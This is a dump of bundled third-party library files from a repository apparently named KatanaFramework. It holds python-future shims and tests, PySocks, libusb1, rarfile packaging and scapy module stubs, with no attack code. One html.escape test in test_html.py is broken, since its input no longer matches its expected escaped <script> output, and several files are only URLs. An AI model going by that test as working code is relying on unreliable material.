30 | raise NotImplemented
31 |
32 |
33 | class basestring(with_metaclass(BaseBaseString)):
34 | """
35 | A minimal backport of the Python 2 basestring type to Py3
36 | """
37 |
38 |
39 | __all__ = ['basestring']
40 |
41 |
--------------------------------------------------------------------------------
/lib/future/src/queue/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 | __future_module__ = True
4 |
5 | if sys.version_info[0] < 3:
6 | from Queue import *
7 | else:
8 | raise ImportError('This package should not be accessible on Python 3. '
9 | 'Either you are trying to run from the python-future src folder '
10 | 'or your installation of python-future is corrupted.')
11 |
--------------------------------------------------------------------------------
/lib/future/src/reprlib/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | if sys.version_info[0] < 3:
5 | from repr import *
6 | else:
7 | raise ImportError('This package should not be accessible on Python 3. '
8 | 'Either you are trying to run from the python-future src folder '
9 | 'or your installation of python-future is corrupted.')
10 |
--------------------------------------------------------------------------------
/lib/future/src/socketserver/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | if sys.version_info[0] < 3:
5 | from SocketServer import *
6 | else:
7 | raise ImportError('This package should not be accessible on Python 3. '
8 | 'Either you are trying to run from the python-future src folder '
9 | 'or your installation of python-future is corrupted.')
10 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | if sys.version_info[0] < 3:
5 | from Tkinter import *
6 | from Tkinter import (_cnfmerge, _default_root, _flatten, _join, _setit,
7 | _splitdict, _stringify, _support_default_root, _test,
8 | _tkinter)
9 | else:
10 | raise ImportError('This package should not be accessible on Python 3. '
11 | 'Either you are trying to run from the python-future src folder '
12 | 'or your installation of python-future is corrupted.')
13 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/colorchooser.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.colorchooser import *
7 | else:
8 | try:
9 | from tkColorChooser import *
10 | except ImportError:
11 | raise ImportError('The tkColorChooser module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/commondialog.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.commondialog import *
7 | else:
8 | try:
9 | from tkCommonDialog import *
10 | except ImportError:
11 | raise ImportError('The tkCommonDialog module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/constants.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.constants import *
7 | else:
8 | try:
9 | from Tkconstants import *
10 | except ImportError:
11 | raise ImportError('The Tkconstants module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/dialog.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.dialog import *
7 | else:
8 | try:
9 | from Dialog import *
10 | except ImportError:
11 | raise ImportError('The Dialog module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/dnd.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.dnd import *
7 | else:
8 | try:
9 | from Tkdnd import *
10 | except ImportError:
11 | raise ImportError('The Tkdnd module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/filedialog.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.filedialog import *
7 | else:
8 | try:
9 | from FileDialog import *
10 | except ImportError:
11 | raise ImportError('The FileDialog module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 | try:
14 | from tkFileDialog import *
15 | except ImportError:
16 | raise ImportError('The tkFileDialog module is missing. Does your Py2 '
17 | 'installation include tkinter?')
18 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/font.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.font import *
7 | else:
8 | try:
9 | from tkFont import *
10 | except ImportError:
11 | raise ImportError('The tkFont module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/messagebox.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.messagebox import *
7 | else:
8 | try:
9 | from tkMessageBox import *
10 | except ImportError:
11 | raise ImportError('The tkMessageBox module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/scrolledtext.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.scrolledtext import *
7 | else:
8 | try:
9 | from ScrolledText import *
10 | except ImportError:
11 | raise ImportError('The ScrolledText module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/simpledialog.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.simpledialog import *
7 | else:
8 | try:
9 | from SimpleDialog import *
10 | except ImportError:
11 | raise ImportError('The SimpleDialog module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/tix.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.tix import *
7 | else:
8 | try:
9 | from Tix import *
10 | except ImportError:
11 | raise ImportError('The Tix module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/tkinter/ttk.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.ttk import *
7 | else:
8 | try:
9 | from ttk import *
10 | except ImportError:
11 | raise ImportError('The ttk module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/winreg/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 | __future_module__ = True
4 |
5 | if sys.version_info[0] < 3:
6 | from _winreg import *
7 | else:
8 | raise ImportError('This package should not be accessible on Python 3. '
9 | 'Either you are trying to run from the python-future src folder '
10 | 'or your installation of python-future is corrupted.')
11 |
--------------------------------------------------------------------------------
/lib/future/src/xmlrpc/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | if sys.version_info[0] < 3:
5 | pass
6 | else:
7 | raise ImportError('This package should not be accessible on Python 3. '
8 | 'Either you are trying to run from the python-future src folder '
9 | 'or your installation of python-future is corrupted.')
10 |
--------------------------------------------------------------------------------
/lib/future/src/xmlrpc/client.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | assert sys.version_info[0] < 3
5 | from xmlrpclib import *
6 |
--------------------------------------------------------------------------------
/lib/future/src/xmlrpc/server.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | assert sys.version_info[0] < 3
5 | from xmlrpclib import *
6 |
--------------------------------------------------------------------------------
/lib/future/tests/test_future/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/tests/test_future/__init__.py
--------------------------------------------------------------------------------
/lib/future/tests/test_future/test_builtins_explicit_import.py:
--------------------------------------------------------------------------------
1 | """
2 | Tests to make sure that all builtins can be imported explicitly from the
3 | future.builtins namespace.
4 | """
5 |
6 | from __future__ import absolute_import, division, unicode_literals
7 | from future.builtins import (filter, map, zip)
8 | from future.builtins import (ascii, chr, hex, input, isinstance, next, oct, open)
9 | from future.builtins import (bytes, dict, int, range, round, str, super)
10 | from future.tests.base import unittest
11 |
12 |
13 | class TestBuiltinsExplicitImport(unittest.TestCase):
14 | pass
15 |
16 |
17 | if __name__ == '__main__':
18 | unittest.main()
19 |
--------------------------------------------------------------------------------
/lib/future/tests/test_future/test_html.py:
--------------------------------------------------------------------------------
1 | """
2 | Tests for the html module functions.
3 |
4 | Adapted for the python-future module from the Python 3.3 standard library tests.
5 | """
6 |
7 | from __future__ import unicode_literals
8 | from future import standard_library
9 |
10 | with standard_library.hooks():
11 | import html
12 |
13 | from future.tests.base import unittest
14 |
15 |
16 | class HtmlTests(unittest.TestCase):
17 | def test_escape(self):
18 | self.assertEqual(
19 | html.escape('\'\''),
20 | ''<script>"&foo;"</script>'')
21 | self.assertEqual(
22 | html.escape('\'\'', False),
23 | '\'<script>"&foo;"</script>\'')
24 |
25 |
26 | if __name__ == '__main__':
27 | unittest.main()
28 |
--------------------------------------------------------------------------------
/lib/future/tests/test_future/test_imports_httplib.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, print_function
2 | import sys
3 |
4 | from future.utils import PY2
5 | from future.tests.base import unittest
6 |
7 |
8 | class ImportHttplibTest(unittest.TestCase):
9 | def test_issue_159(self):
10 | """
11 | The latest version of urllib3 (as of 2015-07-25)
12 | uses http.client.HTTPMessage, which isn't normally
13 | exported on Py2 through __all__ in httplib.py.
14 | """
15 | from http.client import HTTPMessage
16 | if PY2:
17 | import mimetools
18 | assert issubclass(HTTPMessage, mimetools.Message)
19 | else:
20 | import email.message
21 | assert issubclass(HTTPMessage, email.message.Message)
22 |
23 |
24 | if __name__ == '__main__':
25 | unittest.main()
26 |
--------------------------------------------------------------------------------
/lib/future/tests/test_future/test_py2_str_literals_to_bytes.py:
--------------------------------------------------------------------------------
1 | a = '123'
2 |
--------------------------------------------------------------------------------
/lib/future/tests/test_past/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/tests/test_past/__init__.py
--------------------------------------------------------------------------------
/lib/future/tests/test_past/test_basestring.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | Tests for the Py2-like class:`basestring` type.
4 | """
5 |
6 | from __future__ import absolute_import, unicode_literals, print_function
7 | import os
8 |
9 | from past import utils
10 | from future.tests.base import unittest
11 | from past.builtins import basestring, str as oldstr
12 |
13 |
14 | class TestBaseString(unittest.TestCase):
15 |
16 | def test_isinstance(self):
17 | s = b'abc'
18 | self.assertTrue(isinstance(s, basestring))
19 | s2 = oldstr(b'abc')
20 | self.assertTrue(isinstance(s2, basestring))
21 |
22 |
23 | if __name__ == '__main__':
24 | unittest.main()
25 |
--------------------------------------------------------------------------------
/lib/future/tests/test_past/test_noniterators.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | Tests for the Py2-like list-producing functions
4 | """
5 |
6 | from __future__ import absolute_import, unicode_literals, print_function
7 | import os
8 |
9 | from past import utils
10 | from future.tests.base import unittest
11 | from past.builtins import filter, map, range, zip
12 |
13 |
14 | class TestNonIterators(unittest.TestCase):
15 |
16 | def test_noniterators_produce_lists(self):
17 | l = range(10)
18 | self.assertTrue(isinstance(l, list))
19 |
20 | l2 = zip(l, list('ABCDE')*2)
21 | self.assertTrue(isinstance(l2, list))
22 |
23 | double = lambda x: x*2
24 | l3 = map(double, l)
25 | self.assertTrue(isinstance(l3, list))
26 |
27 | is_odd = lambda x: x % 2 == 1
28 | l4 = filter(is_odd, range(10))
29 | self.assertEqual(l4, [1, 3, 5, 7, 9])
30 | self.assertTrue(isinstance(l4, list))
31 |
32 |
33 | if __name__ == '__main__':
34 | unittest.main()
35 |
--------------------------------------------------------------------------------
/lib/libusb1/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include README.rst
2 | include COPYING
3 | include COPYING.LESSER
4 | include examples/README
5 | include examples/*.py
6 | include testUSB1.py
7 | include stdeb.cfg
8 |
--------------------------------------------------------------------------------
/lib/libusb1/dist/libusb1-1.5.1-py2.7.egg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/libusb1/dist/libusb1-1.5.1-py2.7.egg
--------------------------------------------------------------------------------
/lib/libusb1/examples/README:
--------------------------------------------------------------------------------
1 | More concrete uses:
2 | - USB protocol analyser driver in userland (the protocol analyser is itself an
3 | USB device). Rather simple code, uses synchronous and asynchronous bulk
4 | transfers.
5 | https://github.com/vpelletier/ITI1480A-linux/blob/master/iti1480a/capture.py
6 | - Tinkerforge's brickd
7 | They since switched to all-C to fit into embedded devices.
8 | https://github.com/Tinkerforge/brickd/tree/v1.x.y/src/brickd
9 | - NetMDPython
10 | Tools to control NetMD Mindisk players by USB.
11 | https://wiki.physik.fu-berlin.de/linux-minidisc/doku.php?id=netmdpython
12 |
--------------------------------------------------------------------------------
/lib/libusb1/libusb1.egg-info/SOURCES.txt:
--------------------------------------------------------------------------------
1 | COPYING
2 | COPYING.LESSER
3 | MANIFEST.in
4 | README.rst
5 | libusb1.py
6 | setup.cfg
7 | setup.py
8 | stdeb.cfg
9 | testUSB1.py
10 | usb1.py
11 | examples/README
12 | examples/hotplug.py
13 | examples/hotplug_advanced.py
14 | examples/listdevs.py
15 | libusb1.egg-info/PKG-INFO
16 | libusb1.egg-info/SOURCES.txt
17 | libusb1.egg-info/dependency_links.txt
18 | libusb1.egg-info/pbr.json
19 | libusb1.egg-info/top_level.txt
--------------------------------------------------------------------------------
/lib/libusb1/libusb1.egg-info/dependency_links.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/lib/libusb1/libusb1.egg-info/pbr.json:
--------------------------------------------------------------------------------
1 | {"is_release": false, "git_version": "b92276a"}
--------------------------------------------------------------------------------
/lib/libusb1/libusb1.egg-info/top_level.txt:
--------------------------------------------------------------------------------
1 | libusb1
2 | usb1
3 |
--------------------------------------------------------------------------------
/lib/libusb1/setup.cfg:
--------------------------------------------------------------------------------
1 | [egg_info]
2 | tag_build =
3 | tag_date = 0
4 | tag_svn_revision = 0
5 |
6 |
--------------------------------------------------------------------------------
/lib/libusb1/stdeb.cfg:
--------------------------------------------------------------------------------
1 | [DEFAULT]
2 | Source=python-libusb1
3 | Package=python-libusb1
4 | Depends=libusb-1.0-0 | libusb2debian
5 |
--------------------------------------------------------------------------------
/lib/postfile/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/lib/pysock/PKG-INFO:
--------------------------------------------------------------------------------
1 | Metadata-Version: 1.0
2 | Name: PySocks
3 | Version: 1.5.7
4 | Summary: A Python SOCKS client module. See https://github.com/Anorov/PySocks for more information.
5 | Home-page: https://github.com/Anorov/PySocks
6 | Author: Anorov
7 | Author-email: anorov.vorona@gmail.com
8 | License: BSD
9 | Description: UNKNOWN
10 | Keywords: socks,proxy
11 | Platform: UNKNOWN
12 |
--------------------------------------------------------------------------------
/lib/pysock/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/lib/pysock/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from distutils.core import setup
3 |
4 | VERSION = "1.5.7"
5 |
6 | setup(
7 | name = "PySocks",
8 | version = VERSION,
9 | description = "A Python SOCKS client module. See https://github.com/Anorov/PySocks for more information.",
10 | url = "https://github.com/Anorov/PySocks",
11 | license = "BSD",
12 | author = "Anorov",
13 | author_email = "anorov.vorona@gmail.com",
14 | keywords = ["socks", "proxy"],
15 | py_modules=["socks", "sockshandler"]
16 | )
17 |
18 |
--------------------------------------------------------------------------------
/lib/pysock/test/README:
--------------------------------------------------------------------------------
1 | Very rudimentary tests for Python 2 and Python 3.
2 |
3 | Requirements: tornado, twisted (available through pip)
4 |
5 | ./test.sh
6 |
--------------------------------------------------------------------------------
/lib/pysock/test/mocks:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/pysock/test/mocks
--------------------------------------------------------------------------------
/lib/pysock/test/socks4server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from twisted.internet import reactor
3 | from twisted.protocols.socks import SOCKSv4Factory
4 |
5 | def run_proxy():
6 | reactor.listenTCP(1080, SOCKSv4Factory("/dev/null"), interface="127.0.0.1")
7 | try:
8 | reactor.run()
9 | except (KeyboardInterrupt, SystemExit):
10 | reactor.stop()
11 |
12 | if __name__ == "__main__":
13 | print "Running SOCKS4 proxy server"
14 | run_proxy()
15 |
--------------------------------------------------------------------------------
/lib/pysock/test/test.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | shopt -s expand_aliases
3 | type python2 >/dev/null 2>&1 || alias python2='python'
4 |
5 | echo "Starting proxy servers..."
6 | python2 socks4server.py > /dev/null &
7 | python2 httpproxy.py > /dev/null &
8 | ./mocks start
9 |
10 | sleep 2
11 | echo "Python 2.6 tests"
12 | python2.6 sockstest.py
13 | exit
14 |
15 | sleep 2
16 | echo "Python 2.7 tests"
17 | python2.7 sockstest.py
18 |
19 | sleep 2
20 | echo "Python 3.x tests"
21 | python3 sockstest.py
22 |
23 | pkill python2 > /dev/null
24 | ./mocks shutdown
25 | echo "Finished tests"
26 |
--------------------------------------------------------------------------------
/lib/rarfile/LICENSE:
--------------------------------------------------------------------------------
1 |
2 | Copyright (c) 2005-2013 Marko Kreen
3 |
4 | Permission to use, copy, modify, and/or distribute this software for any
5 | purpose with or without fee is hereby granted, provided that the above
6 | copyright notice and this permission notice appear in all copies.
7 |
8 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
9 | WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
10 | MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
11 | ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
12 | WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
13 | ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
14 | OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
15 |
16 |
--------------------------------------------------------------------------------
/lib/rarfile/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include README.rst Makefile MANIFEST.in LICENSE dumprar.py
2 | include doc/*.rst doc/Makefile doc/conf.py doc/make.bat
3 | include test/Makefile test/*.sh test/files/*.rar test/files/*.exp
4 |
--------------------------------------------------------------------------------
/lib/rarfile/Makefile:
--------------------------------------------------------------------------------
1 |
2 | prefix = /usr/local
3 |
4 | web = mkz@shell.berlios.de:/home/groups/rarfile/htdocs
5 |
6 | all:
7 | python setup.py build
8 |
9 | install:
10 | python setup.py install --prefix=$(prefix)
11 |
12 | tgz: clean
13 | python setup.py sdist
14 |
15 | clean:
16 | rm -rf __pycache__ build dist
17 | rm -f *.pyc MANIFEST *.orig *.rej *.html *.class
18 | rm -rf doc/_build doc/_static doc/_templates
19 | make -C test clean
20 |
21 | html:
22 | rst2html README.rst > README.html
23 | make -C doc html
24 |
25 | lint:
26 | pylint -E rarfile.py
27 |
28 | rbuild:
29 | curl -X POST http://readthedocs.org/build/6715
30 |
31 |
--------------------------------------------------------------------------------
/lib/rarfile/README.rst:
--------------------------------------------------------------------------------
1 |
2 | rarfile - RAR archive reader for Python
3 | =======================================
4 |
5 | This is Python module for RAR_ archive reading. The interface
6 | is made as zipfile_ like as possible. Licensed under ISC_
7 | license.
8 |
9 | .. _RAR: http://en.wikipedia.org/wiki/RAR
10 | .. _zipfile: http://docs.python.org/library/zipfile.html
11 | .. _ISC: http://en.wikipedia.org/wiki/ISC_license
12 |
13 | Features:
14 |
15 | - Supports both RAR 2.x and 3.x archives.
16 | - Supports multi volume archives.
17 | - Supports Unicode filenames.
18 | - Supports password-protected archives.
19 | - Supports archive and file comments.
20 | - Archive parsing and non-compressed files are handled in pure Python code.
21 | - For compressed files runs ``unrar`` utility.
22 | - Works with both Python 2.x and 3.x.
23 |
24 | Links:
25 |
26 | - `Documentation`_
27 | - `Downloads`_
28 | - `Git`_ repo
29 |
30 | .. _Git: https://github.com/markokr/rarfile
31 | .. _Downloads: https://pypi.python.org/pypi/rarfile
32 | .. _Documentation: https://rarfile.readthedocs.org/
33 |
34 |
--------------------------------------------------------------------------------
/lib/rarfile/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/rarfile/__init__.py
--------------------------------------------------------------------------------
/lib/rarfile/setup.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 |
3 | from distutils.core import setup
4 |
5 | import rarfile
6 |
7 | ver = rarfile.__version__
8 | ldesc = open("README.rst").read().strip()
9 | sdesc = ldesc.split('\n')[0].split(' - ')[1].strip()
10 |
11 | setup(
12 | name = "rarfile",
13 | version = ver,
14 | description = sdesc,
15 | long_description = ldesc,
16 | author = "Marko Kreen",
17 | license = "ISC",
18 | author_email = "markokr@gmail.com",
19 | url = "https://github.com/markokr/rarfile",
20 | py_modules = ['rarfile'],
21 | keywords = ['rar', 'unrar', 'archive'],
22 | classifiers = [
23 | "Development Status :: 5 - Production/Stable",
24 | "Intended Audience :: Developers",
25 | "License :: OSI Approved :: ISC License (ISCL)",
26 | "Operating System :: OS Independent",
27 | "Programming Language :: Python :: 2",
28 | "Programming Language :: Python :: 3",
29 | "Topic :: Software Development :: Libraries :: Python Modules",
30 | "Topic :: System :: Archiving :: Compression",
31 | ]
32 | )
33 |
34 |
--------------------------------------------------------------------------------
/lib/scapy/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include MANIFEST.in
2 | include run_scapy
3 | recursive-include bin *
4 | recursive-include doc *
5 | recursive-include test *
6 |
--------------------------------------------------------------------------------
/lib/scapy/PKG-INFO:
--------------------------------------------------------------------------------
1 | Metadata-Version: 1.0
2 | Name: scapy
3 | Version: 2.3.1
4 | Summary: Scapy: interactive packet manipulation tool
5 | Home-page: http://www.secdev.org/projects/scapy
6 | Author: Philippe BIONDI
7 | Author-email: phil(at)secdev.org
8 | License: GPLv2
9 | Description: UNKNOWN
10 | Platform: UNKNOWN
11 |
--------------------------------------------------------------------------------
/lib/scapy/bin/UTscapy.bat:
--------------------------------------------------------------------------------
1 | @REM Use Python to run the UTscapy script from the current directory, passing all parameters
2 | @python %~dp0\UTscapy %*
3 |
--------------------------------------------------------------------------------
/lib/scapy/bin/scapy.bat:
--------------------------------------------------------------------------------
1 | @REM Use Python to run the Scapy script from the current directory, passing all parameters
2 | @python %~dp0\scapy %*
3 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Scapy: create, send, sniff, dissect and manipulate network packets.
8 |
9 | Usable either from an interactive console or as a Python library.
10 | http://www.secdev.org/projects/scapy
11 | """
12 |
13 | if __name__ == "__main__":
14 | from scapy.main import interact
15 | interact()
16 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/arch/bsd.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Support for BSD-like operating systems such as FreeBSD, OpenBSD and Mac OS X.
8 | """
9 |
10 | LOOPBACK_NAME="lo0"
11 |
12 | from unix import *
13 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/arch/solaris.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Customization for the Solaris operation system.
8 | """
9 |
10 | # IPPROTO_GRE is missing on Solaris
11 | import socket
12 | socket.IPPROTO_GRE = 47
13 |
14 | LOOPBACK_NAME="lo0"
15 |
16 | from unix import *
17 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/asn1/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package holding ASN.1 related modules.
8 | """
9 |
10 | # We do not import mib.py because it is more bound to scapy and
11 | # less prone to be used in a standalone fashion
12 | __all__ = ["asn1","ber"]
13 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/asn1packet.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Packet holding data in Abstract Syntax Notation (ASN.1).
8 | """
9 |
10 | from packet import *
11 |
12 | class ASN1_Packet(Packet):
13 | ASN1_root = None
14 | ASN1_codec = None
15 | def init_fields(self):
16 | flist = self.ASN1_root.get_fields_list()
17 | self.do_init_fields(flist)
18 | self.fields_desc = flist
19 | def self_build(self):
20 | if self.raw_packet_cache is not None:
21 | return self.raw_packet_cache
22 | return self.ASN1_root.build(self)
23 | def do_dissect(self, x):
24 | return self.ASN1_root.dissect(self, x)
25 |
26 |
27 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/contrib/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package of contrib modules that have to be loaded explicitly.
8 | """
9 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/contrib/etherip.py:
--------------------------------------------------------------------------------
1 |
2 | # http://trac.secdev.org/scapy/ticket/297
3 |
4 | # scapy.contrib.description = EtherIP
5 | # scapy.contrib.status = loads
6 |
7 | from scapy.fields import BitField
8 | from scapy.packet import Packet, bind_layers
9 | from scapy.layers.inet import IP
10 | from scapy.layers.l2 import Ether
11 |
12 | class EtherIP(Packet):
13 | name = "EtherIP / RFC 3378"
14 | fields_desc = [ BitField("version", 3, 4),
15 | BitField("reserved", 0, 12)]
16 |
17 | bind_layers( IP, EtherIP, frag=0, proto=0x61)
18 | bind_layers( EtherIP, Ether)
19 |
20 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/contrib/mpls.py:
--------------------------------------------------------------------------------
1 | # http://trac.secdev.org/scapy/ticket/31
2 |
3 | # scapy.contrib.description = MPLS
4 | # scapy.contrib.status = loads
5 |
6 | from scapy.packet import Packet,bind_layers
7 | from scapy.fields import BitField,ByteField
8 | from scapy.layers.l2 import Ether
9 |
10 | class MPLS(Packet):
11 | name = "MPLS"
12 | fields_desc = [ BitField("label", 3, 20),
13 | BitField("cos", 0, 3),
14 | BitField("s", 1, 1),
15 | ByteField("ttl", 0) ]
16 |
17 | bind_layers(Ether, MPLS, type=0x8847)
18 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/crypto/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Arnaud Ebalard
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Tools for handling with digital certificates.
8 | """
9 |
10 | try:
11 | import Crypto
12 | except ImportError:
13 | import logging
14 | log_loading = logging.getLogger("scapy.loading")
15 | log_loading.info("Can't import python Crypto lib. Disabled certificate manipulation tools")
16 | else:
17 | from scapy.crypto.cert import *
18 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/layers/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Layer package.
8 | """
9 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/layers/all.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | All layers. Configurable with conf.load_layers.
8 | """
9 |
10 | from scapy.config import conf
11 | from scapy.error import log_loading
12 | import logging
13 | log = logging.getLogger("scapy.loading")
14 |
15 | def _import_star(m):
16 | mod = __import__(m, globals(), locals())
17 | for k,v in mod.__dict__.iteritems():
18 | globals()[k] = v
19 |
